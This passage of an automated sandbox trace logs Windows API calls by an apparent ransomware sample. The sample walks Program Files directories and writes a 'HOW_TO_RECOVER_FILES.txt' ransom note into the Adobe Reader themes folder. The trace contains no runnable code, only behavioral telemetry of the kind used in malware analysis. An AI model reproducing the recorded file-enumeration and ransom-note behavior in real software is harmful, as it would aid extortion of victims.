nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.576] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.576] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1acb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DarkTheme.acrotheme", cAlternateFileName="DARKTH~1.ACR")) returned 1 [0130.577] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 1 [0130.577] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 0 [0130.577] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0130.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0130.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0130.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0130.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\uithemes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0130.580] GetFileType (hFile=0x63c) returned 0x1 [0130.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0130.580] GetFileType (hFile=0x63c) returned 0x1 [0130.581] WriteFile (in: hFile=0x63c, lpBuffer=0x3561458*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x3561458*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0130.582] CloseHandle (hObject=0x63c) returned 1 Thread: id = 138 os_tid = 0xfb0 Thread: id = 140 os_tid = 0x7b4 [0068.056] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.056] CoGetContextToken (in: pToken=0x1f49f540 | out: pToken=0x1f49f540) returned 0x0 [0068.056] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f49f578 | out: ppvObject=0x1f49f578*=0x12e64e8) returned 0x0 [0068.056] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1f49f5e8 | out: pThreadType=0x1f49f5e8*=0) returned 0x0 [0068.056] IUnknown:Release (This=0x12e64e8) returned 0x0 [0068.056] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0068.056] CoUninitialize () [0068.057] RoInitialize () returned 0x1 [0068.057] RoUninitialize () returned 0x0 [0068.057] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.364] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.461] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.534] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.557] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49e6b0) returned 1 [0068.712] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1f49e150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0068.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x1f49e3d0 | out: lpFindFileData=0x1f49e3d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.751] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.751] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0068.751] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0068.752] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x1300c61, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1300c61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa73e1bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8390c831, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0068.753] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1300c61, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1300c61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3f4087, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3f4087, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0068.755] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0068.755] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49e5f0) returned 1 [0068.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49e5b0) returned 1 [0068.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49e6b0) returned 1 [0068.756] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1f49e150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0068.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x1f49e3d0 | out: lpFindFileData=0x1f49e3d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.756] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.756] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0068.756] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.756] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0068.757] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49e390 | out: lpFindFileData=0x1f49e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, 